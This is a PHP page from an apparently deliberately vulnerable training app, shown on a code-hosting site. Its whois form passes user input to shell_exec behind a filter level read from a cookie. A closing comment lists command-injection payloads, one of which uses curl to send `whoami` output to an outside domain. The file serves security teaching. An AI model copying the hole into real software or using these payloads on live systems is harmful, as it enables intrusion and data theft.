-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathoscommandinjection.php
72 lines (48 loc) · 1.34 KB
/
oscommandinjection.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
include_once "includer.php";
function checkInput($data)
{
switch($_COOKIE['security_level'])
{
case "0" :
$data = no_check($data);
break;
case "1" :
$data = commandi_check_1($data);
break;
case "2" :
$data = commandi_check_2($data);
break;
default :
$data = no_check($data);
break;
}
return $data;
}
?>
<div class="container">
<h1>OS Command Injection</h1>
<!--<a href="#">okan <script>alert(1)</script> </a>-->
<form action="<?php echo($_SERVER["SCRIPT_NAME"]);?>" method="POST">
<p>
<label for="target">Whois Lookup:</label>
<input type="text" id="target" name="target" value="www.jotform.com">
<button type="submit" name="form" value="submit">SEND</button>
</p>
</form>
<?php
if(isset($_POST["target"])){
$target = $_POST["target"];
if($target=="")
echo "<font color='red'>Enter a target...</font>";
else
echo "<p align='left'>".shell_exec("nslookup ".checkInput($target))."</p>";
}
?>
</div>
<!--
oob->www.google.com; curl `whoami`.okanalan.engineer
Level 0 : www.google.com; ls
Level 1: www.google.com | ls
Level 2:
-->